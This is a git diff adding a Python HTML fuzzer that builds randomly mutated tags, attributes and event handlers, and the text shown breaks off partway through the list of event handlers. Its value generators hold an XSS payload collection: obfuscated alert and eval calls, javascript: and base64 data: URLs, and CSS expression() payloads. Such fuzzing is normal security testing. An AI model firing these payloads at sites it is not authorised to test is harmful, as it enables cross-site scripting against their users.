Compare commits
4 Commits
Author | SHA1 | Date | |
---|---|---|---|
dee04f003d | |||
|
c85c499bd4 | ||
|
196ffdcd4f | ||
|
9e0ea55f29 |
1
.gitignore
vendored
1
.gitignore
vendored
@ -1,2 +1,3 @@
|
|||||||
venv
|
venv
|
||||||
chromedriver*
|
chromedriver*
|
||||||
|
__pycache__/
|
||||||
|
142
language.py
Normal file
142
language.py
Normal file
@ -0,0 +1,142 @@
|
|||||||
|
from language_utils import gen_boolean, gen_color, gen_date, gen_email, \
|
||||||
|
gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \
|
||||||
|
gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key, \
|
||||||
|
gen_duration
|
||||||
|
from utils import rndstr, choice
|
||||||
|
from mutations import Mutations
|
||||||
|
|
||||||
|
|
||||||
|
class HTMLTag:
|
||||||
|
def __init__(self, name, self_closing=False):
|
||||||
|
self.name = name
|
||||||
|
self.self_closing = self_closing
|
||||||
|
self.attributes = []
|
||||||
|
self.children = []
|
||||||
|
self.id = rndstr(8)
|
||||||
|
self.nameattr = rndstr(10)
|
||||||
|
self.rndchrpos = {}
|
||||||
|
self.mutator: Mutations = None
|
||||||
|
self.content = rndstr(10)
|
||||||
|
self.ids = []
|
||||||
|
self.names = []
|
||||||
|
|
||||||
|
def set_mutator(self, mutator):
|
||||||
|
self.mutator = mutator
|
||||||
|
|
||||||
|
def add_attribute(self, attr):
|
||||||
|
attr.root = self
|
||||||
|
self.attributes.append(attr)
|
||||||
|
|
||||||
|
def __str__(self) -> str:
|
||||||
|
# self mutate
|
||||||
|
if self.mutator:
|
||||||
|
# mutate attributes
|
||||||
|
for attr in self.attributes:
|
||||||
|
attr.__str__()
|
||||||
|
if attr.attr == AttrType.ATTR_TAG_SPECIFIC and attr.kind != HTMLTagAttributeType.TypeFlag:
|
||||||
|
cases = [
|
||||||
|
lambda x: self.mutator.mutate_attr(x),
|
||||||
|
lambda x: self.mutator.mutate_value(x),
|
||||||
|
]
|
||||||
|
choice(cases)(attr)
|
||||||
|
elif attr.attr == AttrType.ATTR_EVENT:
|
||||||
|
self.mutator.mutate_js(attr.value)
|
||||||
|
self.mutator.mutate_tag(tag=self)
|
||||||
|
|
||||||
|
tag = ""
|
||||||
|
if self.self_closing:
|
||||||
|
tag = f"<{self.name}"
|
||||||
|
tag += f" name=\"{self.nameattr}\" "
|
||||||
|
tag += f" id=\"{self.id}\" "
|
||||||
|
for attr in self.attributes:
|
||||||
|
tag += f"{attr} "
|
||||||
|
tag += "/>"
|
||||||
|
else:
|
||||||
|
tag = f"<{self.name}"
|
||||||
|
tag += f" name=\"{self.nameattr}\" "
|
||||||
|
tag += f" id=\"{self.id}\" "
|
||||||
|
for attr in self.attributes:
|
||||||
|
tag += f"{attr} "
|
||||||
|
tag += ">"
|
||||||
|
if len(self.children) == 0:
|
||||||
|
tag += f"{self.content}"
|
||||||
|
for child in self.children:
|
||||||
|
tag += f"{child}"
|
||||||
|
tag += f"</{self.name}>"
|
||||||
|
|
||||||
|
for pos in self.rndchrpos:
|
||||||
|
tag = tag[:pos] + self.rndchrpos[pos] + tag[pos:]
|
||||||
|
|
||||||
|
return tag
|
||||||
|
|
||||||
|
|
||||||
|
class HTMLTagAttributeType:
|
||||||
|
TypeText = 0
|
||||||
|
TypeBoolean = 1
|
||||||
|
TypeNumber = 2
|
||||||
|
TypeColor = 3
|
||||||
|
TypeJS = 4
|
||||||
|
TypeStlye = 5
|
||||||
|
TypeURL = 6
|
||||||
|
TypeEmail = 7
|
||||||
|
TypeDate = 8
|
||||||
|
TypeTarget = 9
|
||||||
|
TypeName = 10
|
||||||
|
TypeFlag = 11
|
||||||
|
TypeDrop = 12
|
||||||
|
TypeDir = 13
|
||||||
|
TypeWindowTarget = 14
|
||||||
|
TypeAccessKey = 15
|
||||||
|
TypeDuration = 16
|
||||||
|
|
||||||
|
|
||||||
|
Generators = {
|
||||||
|
HTMLTagAttributeType.TypeText: gen_text,
|
||||||
|
HTMLTagAttributeType.TypeBoolean: gen_boolean,
|
||||||
|
HTMLTagAttributeType.TypeNumber: gen_number,
|
||||||
|
HTMLTagAttributeType.TypeColor: gen_color,
|
||||||
|
HTMLTagAttributeType.TypeJS: gen_javascript,
|
||||||
|
HTMLTagAttributeType.TypeStlye: gen_style,
|
||||||
|
HTMLTagAttributeType.TypeURL: gen_url,
|
||||||
|
HTMLTagAttributeType.TypeEmail: gen_email,
|
||||||
|
HTMLTagAttributeType.TypeDate: gen_date,
|
||||||
|
HTMLTagAttributeType.TypeTarget: gen_target,
|
||||||
|
HTMLTagAttributeType.TypeName: gen_name,
|
||||||
|
HTMLTagAttributeType.TypeFlag: gen_flag,
|
||||||
|
HTMLTagAttributeType.TypeDrop: gen_drop,
|
||||||
|
HTMLTagAttributeType.TypeDir: gen_dir,
|
||||||
|
HTMLTagAttributeType.TypeWindowTarget: gen_wtarget,
|
||||||
|
HTMLTagAttributeType.TypeAccessKey: gen_access_key,
|
||||||
|
HTMLTagAttributeType.TypeDuration: gen_duration,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class AttrType:
|
||||||
|
ATTR_NONE = -1
|
||||||
|
ATTR_GLOBAL = 0
|
||||||
|
ATTR_EVENT = 1
|
||||||
|
ATTR_TAG_SPECIFIC = 2
|
||||||
|
|
||||||
|
|
||||||
|
class HTMLAttribute:
|
||||||
|
def __init__(self, name, value_type, glob=True, root=None):
|
||||||
|
self.root = root
|
||||||
|
self.name = name
|
||||||
|
self.kind = value_type
|
||||||
|
if self.kind == HTMLTagAttributeType.TypeJS:
|
||||||
|
self.attr = AttrType.ATTR_EVENT
|
||||||
|
else:
|
||||||
|
if glob:
|
||||||
|
self.attr = AttrType.ATTR_GLOBAL
|
||||||
|
else:
|
||||||
|
self.attr = AttrType.ATTR_TAG_SPECIFIC
|
||||||
|
|
||||||
|
def __str__(self) -> str:
|
||||||
|
if self.kind == HTMLTagAttributeType.TypeTarget or self.kind == HTMLTagAttributeType.TypeName:
|
||||||
|
self.value = Generators[self.kind](self.root)
|
||||||
|
else:
|
||||||
|
self.value = Generators[self.kind]()
|
||||||
|
if not self.value:
|
||||||
|
return self.name
|
||||||
|
else:
|
||||||
|
return f'{self.name}="{self.value}"'
|
145
language_utils.py
Normal file
145
language_utils.py
Normal file
@ -0,0 +1,145 @@
|
|||||||
|
from utils import choice, rndstr
|
||||||
|
|
||||||
|
|
||||||
|
def gen_text():
|
||||||
|
return rndstr(8)
|
||||||
|
|
||||||
|
|
||||||
|
def gen_boolean():
|
||||||
|
cases = {
|
||||||
|
0: lambda: 'yes',
|
||||||
|
1: lambda: 'no',
|
||||||
|
2: lambda: 'true',
|
||||||
|
3: lambda: 'false',
|
||||||
|
4: lambda: 'null',
|
||||||
|
5: lambda: 'undefined',
|
||||||
|
6: lambda: '',
|
||||||
|
7: lambda: '0',
|
||||||
|
8: lambda: '1',
|
||||||
|
}
|
||||||
|
|
||||||
|
return choice(cases)()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_number():
|
||||||
|
cases = {
|
||||||
|
0: lambda: '0',
|
||||||
|
1: lambda: '1',
|
||||||
|
2: lambda: '2',
|
||||||
|
3: lambda: '3',
|
||||||
|
}
|
||||||
|
|
||||||
|
return choice(cases)()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_color():
|
||||||
|
cases = {
|
||||||
|
0: lambda: '#000000',
|
||||||
|
1: lambda: '#ffffff',
|
||||||
|
2: lambda: '#ff0000',
|
||||||
|
3: lambda: '#00ff00',
|
||||||
|
4: lambda: '#0000ff',
|
||||||
|
5: lambda: '#ffff00',
|
||||||
|
6: lambda: '#00ffff',
|
||||||
|
7: lambda: '#ff00ff',
|
||||||
|
8: lambda: '#c0c0c0',
|
||||||
|
}
|
||||||
|
|
||||||
|
return choice(cases)()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_javascript():
|
||||||
|
cases = {
|
||||||
|
0: lambda: 'alert(0)',
|
||||||
|
1: lambda: 'prompt`0`',
|
||||||
|
2: lambda: 'confirm`0`',
|
||||||
|
3: lambda: "window['alert'](0)",
|
||||||
|
4: lambda: "window['prompt'](0)",
|
||||||
|
5: lambda: "window['confirm'](0)",
|
||||||
|
6: lambda: 'eval.call`${String.fromCharCode(97,108,101,114,116,40,49,41)}`',
|
||||||
|
7: lambda: 'Function(`a${`lert\`1\``}`).call``',
|
||||||
|
8: lambda: "window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//",
|
||||||
|
9: lambda: "eval.call`${'alert\x2823\x29'}`",
|
||||||
|
10: lambda: '[].sort.call`${alert}23`',
|
||||||
|
11: lambda: '{1:alert(1)}',
|
||||||
|
12: lambda: '(()=>{alert`1`})()',
|
||||||
|
13: lambda: 'x=alert;x(1);',
|
||||||
|
}
|
||||||
|
|
||||||
|
return choice(cases)()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_style():
|
||||||
|
# xss via style
|
||||||
|
cases = {
|
||||||
|
0: lambda: 'background-image:url("javascript:alert(1)")',
|
||||||
|
1: lambda: 'expression(alert(1))',
|
||||||
|
2: lambda: 'expression\x600\x60',
|
||||||
|
3: lambda: 'animation-name:x;animation-duration:0s;',
|
||||||
|
4: lambda: '@keyframes x{}'
|
||||||
|
}
|
||||||
|
|
||||||
|
return choice(cases)()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_url():
|
||||||
|
# xss via url
|
||||||
|
cases = {
|
||||||
|
0: lambda: 'javascript:alert(1)',
|
||||||
|
1: lambda: 'data:text/html,<script>alert(1)</script>',
|
||||||
|
2: lambda: 'data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==',
|
||||||
|
3: lambda: 'data:text/html,<script>alert\x600\x60</script>',
|
||||||
|
}
|
||||||
|
|
||||||
|
return choice(cases)()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_email():
|
||||||
|
# xss via email
|
||||||
|
cases = {
|
||||||
|
0: lambda: '@javascript:alert(1)',
|
||||||
|
1: lambda: 'javascript:alert(1)@',
|
||||||
|
2: lambda: '@javascript:alert\x600\x60',
|
||||||
|
}
|
||||||
|
|
||||||
|
return choice(cases)()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_date():
|
||||||
|
return '2020-01-01'
|
||||||
|
|
||||||
|
|
||||||
|
def gen_target(tag):
|
||||||
|
if tag is None:
|
||||||
|
return ""
|
||||||
|
return choice(tag.ids)
|
||||||
|
|
||||||
|
|
||||||
|
def gen_name(tag):
|
||||||
|
if tag is None:
|
||||||
|
return ""
|
||||||
|
return choice(tag.names)
|
||||||
|
|
||||||
|
|
||||||
|
def gen_flag():
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def gen_drop():
|
||||||
|
return choice(["copy", "move", "link"])
|
||||||
|
|
||||||
|
|
||||||
|
def gen_dir():
|
||||||
|
return choice(["ltr", "rtl", "auto"])
|
||||||
|
|
||||||
|
|
||||||
|
def gen_wtarget():
|
||||||
|
return choice(["_self", "_blank", "_parent", "_top"])
|
||||||
|
|
||||||
|
|
||||||
|
def gen_access_key():
|
||||||
|
return 'X'
|
||||||
|
|
||||||
|
|
||||||
|
def gen_duration():
|
||||||
|
return choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]) + choice(["s", "ms"])
|
109
mutations.py
Normal file
109
mutations.py
Normal file
@ -0,0 +1,109 @@
|
|||||||
|
from utils import choice, rndunicode, choice_percent
|
||||||
|
|
||||||
|
|
||||||
|
class Mutations:
|
||||||
|
def __init__(self, strongness=0):
|
||||||
|
self.strongness = strongness
|
||||||
|
|
||||||
|
def mutate_attr(self, attr):
|
||||||
|
cases = {
|
||||||
|
70: lambda x: x,
|
||||||
|
10: self.mutate_attr_newline,
|
||||||
|
10: self.mutate_attr_unicode,
|
||||||
|
10: self.mutate_attr_unicode_rnd_pos,
|
||||||
|
}
|
||||||
|
|
||||||
|
return choice_percent(cases)(attr)
|
||||||
|
|
||||||
|
def mutate_value(self, attr):
|
||||||
|
cases = {
|
||||||
|
70: lambda x: x,
|
||||||
|
20: self.mutate_value_newline,
|
||||||
|
10: self.mutate_value_unicode,
|
||||||
|
}
|
||||||
|
|
||||||
|
return choice_percent(cases)(attr)
|
||||||
|
|
||||||
|
def mutate_tag(self, tag):
|
||||||
|
cases = {
|
||||||
|
95: lambda x: x,
|
||||||
|
5: self.mutate_tag_insert_random_pos,
|
||||||
|
}
|
||||||
|
|
||||||
|
return choice_percent(cases)(tag)
|
||||||
|
|
||||||
|
def mutate_js(self, js: str):
|
||||||
|
cases = {
|
||||||
|
95: lambda x: x,
|
||||||
|
5: self.mutate_js_insert_random_pos,
|
||||||
|
}
|
||||||
|
|
||||||
|
return choice_percent(cases)(js)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def mutate_attr_newline(attr):
|
||||||
|
attr.name = f"{attr.name}\n"
|
||||||
|
return attr
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def mutate_attr_unicode(attr):
|
||||||
|
attr.name = f"{attr.name}{rndunicode()}"
|
||||||
|
return attr
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def mutate_attr_unicode_rnd_pos(attr):
|
||||||
|
pos = choice(range(len(attr.name)))
|
||||||
|
attr.name = f"{attr.name[:pos]}{rndunicode()}{attr.name[pos:]}"
|
||||||
|
return attr
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def mutate_value_newline(attr):
|
||||||
|
# find a random position in the value
|
||||||
|
# and insert a newline
|
||||||
|
if (attr.value is None):
|
||||||
|
print("attr.value is None")
|
||||||
|
print(attr)
|
||||||
|
exit(0)
|
||||||
|
pos = choice(range(len(attr.value)))
|
||||||
|
attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}"
|
||||||
|
return attr
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def mutate_value_unicode(attr):
|
||||||
|
pos = choice(range(len(attr.value)))
|
||||||
|
attr.value = f"{attr.value[:pos]}{rndunicode()}{attr.value[pos:]}"
|
||||||
|
return attr
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def mutate_tag_insert_random_pos(tag):
|
||||||
|
pos = choice(range(0, len(str(tag))))
|
||||||
|
|
||||||
|
chars = {
|
||||||
|
50: lambda: "\n",
|
||||||
|
20: lambda: rndunicode(),
|
||||||
|
20: lambda: choice([" ", "\t"]),
|
||||||
|
10: lambda: choice(["\\", "'", "/", '"']),
|
||||||
|
}
|
||||||
|
|
||||||
|
nmutations = choice(range(1, 4))
|
||||||
|
|
||||||
|
for _ in range(nmutations):
|
||||||
|
mut = choice_percent(chars)
|
||||||
|
tag.rndchrpos[pos] = mut()
|
||||||
|
|
||||||
|
return tag
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def mutate_js_insert_random_pos(js: str):
|
||||||
|
pos = choice(range(len(js)))
|
||||||
|
chars = {
|
||||||
|
70: lambda: "\n",
|
||||||
|
20: lambda: choice([" ", "\t"]),
|
||||||
|
10: lambda: choice(["\\", "'", "/", '"']),
|
||||||
|
}
|
||||||
|
|
||||||
|
nmutations = choice(range(1, 4))
|
||||||
|
|
||||||
|
for _ in range(nmutations):
|
||||||
|
js = f"{js[:pos]}{choice_percent(chars)()}{js[pos:]}"
|
||||||
|
return js
|
961
tags.py
Normal file
961
tags.py
Normal file
@ -0,0 +1,961 @@
|
|||||||
|
from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType
|
||||||
|
|
||||||
|
|
||||||
|
Tags = [
|
||||||
|
HTMLTag('a', self_closing=False),
|
||||||
|
HTMLTag('animate', self_closing=True),
|
||||||
|
HTMLTag('abbr', self_closing=False),
|
||||||
|
HTMLTag('acronym', self_closing=False),
|
||||||
|
HTMLTag('address', self_closing=False),
|
||||||
|
HTMLTag('applet', self_closing=False),
|
||||||
|
HTMLTag('area', self_closing=True),
|
||||||
|
HTMLTag('article', self_closing=False),
|
||||||
|
HTMLTag('aside', self_closing=False),
|
||||||
|
HTMLTag('audio', self_closing=False),
|
||||||
|
HTMLTag('b', self_closing=False),
|
||||||
|
HTMLTag('base', self_closing=True),
|
||||||
|
HTMLTag('basefont', self_closing=False),
|
||||||
|
HTMLTag('bdi', self_closing=False),
|
||||||
|
HTMLTag('bdo', self_closing=False),
|
||||||
|
HTMLTag('big', self_closing=False),
|
||||||
|
HTMLTag('blockquote', self_closing=False),
|
||||||
|
HTMLTag('body', self_closing=False),
|
||||||
|
HTMLTag('button', self_closing=False),
|
||||||
|
HTMLTag('canvas', self_closing=False),
|
||||||
|
HTMLTag('caption', self_closing=False),
|
||||||
|
HTMLTag('center', self_closing=False),
|
||||||
|
HTMLTag('cite', self_closing=False),
|
||||||
|
HTMLTag('code', self_closing=False),
|
||||||
|
HTMLTag('col', self_closing=True),
|
||||||
|
HTMLTag('colgroup', self_closing=False),
|
||||||
|
HTMLTag('data', self_closing=False),
|
||||||
|
HTMLTag('datalist', self_closing=False),
|
||||||
|
HTMLTag('dd', self_closing=False),
|
||||||
|
HTMLTag('del', self_closing=False),
|
||||||
|
HTMLTag('details', self_closing=False),
|
||||||
|
HTMLTag('dfn', self_closing=False),
|
||||||
|
HTMLTag('dialog', self_closing=False),
|
||||||
|
HTMLTag('dir', self_closing=False),
|
||||||
|
HTMLTag('div', self_closing=False),
|
||||||
|
HTMLTag('dl', self_closing=False),
|
||||||
|
HTMLTag('dt', self_closing=False),
|
||||||
|
HTMLTag('em', self_closing=False),
|
||||||
|
HTMLTag('embed', self_closing=True),
|
||||||
|
HTMLTag('fieldset', self_closing=False),
|
||||||
|
HTMLTag('figcaption', self_closing=False),
|
||||||
|
HTMLTag('figure', self_closing=False),
|
||||||
|
HTMLTag('font', self_closing=False),
|
||||||
|
HTMLTag('footer', self_closing=False),
|
||||||
|
HTMLTag('form', self_closing=False),
|
||||||
|
HTMLTag('frame', self_closing=True),
|
||||||
|
HTMLTag('frameset', self_closing=False),
|
||||||
|
HTMLTag('h1', self_closing=False),
|
||||||
|
HTMLTag('h2', self_closing=False),
|
||||||
|
HTMLTag('h3', self_closing=False),
|
||||||
|
HTMLTag('h4', self_closing=False),
|
||||||
|
HTMLTag('h5', self_closing=False),
|
||||||
|
HTMLTag('h6', self_closing=False),
|
||||||
|
HTMLTag('head', self_closing=False),
|
||||||
|
HTMLTag('header', self_closing=False),
|
||||||
|
HTMLTag('hr', self_closing=True),
|
||||||
|
HTMLTag('html', self_closing=False),
|
||||||
|
HTMLTag('i', self_closing=False),
|
||||||
|
HTMLTag('iframe', self_closing=False),
|
||||||
|
HTMLTag('img', self_closing=True),
|
||||||
|
HTMLTag('input', self_closing=True),
|
||||||
|
HTMLTag('ins', self_closing=False),
|
||||||
|
HTMLTag('kbd', self_closing=False),
|
||||||
|
HTMLTag('label', self_closing=False),
|
||||||
|
HTMLTag('legend', self_closing=False),
|
||||||
|
HTMLTag('li', self_closing=False),
|
||||||
|
HTMLTag('link', self_closing=True),
|
||||||
|
HTMLTag('main', self_closing=False),
|
||||||
|
HTMLTag('map', self_closing=False),
|
||||||
|
HTMLTag('mark', self_closing=False),
|
||||||
|
HTMLTag('meta', self_closing=True),
|
||||||
|
HTMLTag('meter', self_closing=False),
|
||||||
|
HTMLTag('nav', self_closing=False),
|
||||||
|
HTMLTag('noframes', self_closing=False),
|
||||||
|
HTMLTag('noscript', self_closing=False),
|
||||||
|
HTMLTag('object', self_closing=False),
|
||||||
|
HTMLTag('ol', self_closing=False),
|
||||||
|
HTMLTag('optgroup', self_closing=False),
|
||||||
|
HTMLTag('option', self_closing=False),
|
||||||
|
HTMLTag('output', self_closing=False),
|
||||||
|
HTMLTag('p', self_closing=False),
|
||||||
|
HTMLTag('param', self_closing=True),
|
||||||
|
HTMLTag('picture', self_closing=False),
|
||||||
|
HTMLTag('pre', self_closing=False),
|
||||||
|
HTMLTag('progress', self_closing=False),
|
||||||
|
HTMLTag('q', self_closing=False),
|
||||||
|
HTMLTag('s', self_closing=False),
|
||||||
|
HTMLTag('samp', self_closing=False),
|
||||||
|
HTMLTag('script', self_closing=False),
|
||||||
|
HTMLTag('select', self_closing=False),
|
||||||
|
HTMLTag('small', self_closing=False),
|
||||||
|
HTMLTag('source', self_closing=True),
|
||||||
|
HTMLTag('span', self_closing=False),
|
||||||
|
HTMLTag('strike', self_closing=False),
|
||||||
|
HTMLTag('strong', self_closing=False),
|
||||||
|
HTMLTag('style', self_closing=False),
|
||||||
|
HTMLTag('sub', self_closing=False),
|
||||||
|
HTMLTag('sup', self_closing=False),
|
||||||
|
HTMLTag('svg', self_closing=False),
|
||||||
|
HTMLTag('table', self_closing=False),
|
||||||
|
HTMLTag('tbody', self_closing=False),
|
||||||
|
HTMLTag('td', self_closing=False),
|
||||||
|
HTMLTag('template', self_closing=False),
|
||||||
|
HTMLTag('textarea', self_closing=False),
|
||||||
|
HTMLTag('tfoot', self_closing=False),
|
||||||
|
HTMLTag('th', self_closing=False),
|
||||||
|
HTMLTag('thead', self_closing=False),
|
||||||
|
HTMLTag('time', self_closing=False),
|
||||||
|
HTMLTag('title', self_closing=False),
|
||||||
|
HTMLTag('tr', self_closing=False),
|
||||||
|
HTMLTag('track', self_closing=True),
|
||||||
|
HTMLTag('tt', self_closing=False),
|
||||||
|
HTMLTag('u', self_closing=False),
|
||||||
|
HTMLTag('ul', self_closing=False),
|
||||||
|
HTMLTag('var', self_closing=False),
|
||||||
|
HTMLTag('video', self_closing=False),
|
||||||
|
HTMLTag('wbr', self_closing=True),
|
||||||
|
HTMLTag('xmp', self_closing=False),
|
||||||
|
]
|
||||||
|
|
||||||
|
EventsAttributes = [
|
||||||
|
HTMLAttribute('onafterprint', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onafterscriptexecute', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onanimationcancel', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onanimationend', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onanimationiteration', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onanimationstart', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onauxclick', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onbeforecopy', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onbeforecut', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onbeforeinput', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onbeforeprint', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onbeforescriptexecute', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onbeforetoggle', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onbeforeunload', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onbegin', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onblur', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onbounce', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('oncanplay', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('oncanplaythrough', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onchange', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onclick', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onclose', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('oncontextmenu', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('oncopy', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('oncuechange', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('oncut', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ondblclick', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ondrag', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ondragend', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ondragenter', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ondragleave', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ondragover', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ondragstart', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ondrop', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ondurationchange', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onend', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onended', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onerror', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onfinish', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onfocus', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onfocusin', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onfocusout', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onfullscreenchange', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onhashchange', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('oninput', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('oninvalid', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onkeydown', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onkeypress', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onkeyup', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onload', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onloadeddata', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onloadedmetadata', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onmessage', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onmousedown', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onmouseenter', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onmouseleave', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onmousemove', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onmouseout', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onmouseover', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onmouseup', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onmousewheel', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onmozfullscreenchange', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpagehide', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpageshow', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpaste', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpause', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onplay', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onplaying', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpointerdown', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpointerenter', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpointerleave', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpointermove', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpointerout', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpointerover', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpointerrawupdate', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpointerup', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onpopstate', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onprogress', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onratechange', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onrepeat', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onreset', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onresize', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onscroll', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onscrollend', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onsearch', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onseeked', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onseeking', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onselect', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onselectionchange', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onselectstart', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onshow', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onstart', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('onsubmit', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ontimeupdate', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ontoggle', HTMLTagAttributeType.TypeJS),
|
||||||
|
HTMLAttribute('ontouchend', HTMLTagAttributeType.TypeJS),
|
||||||
|
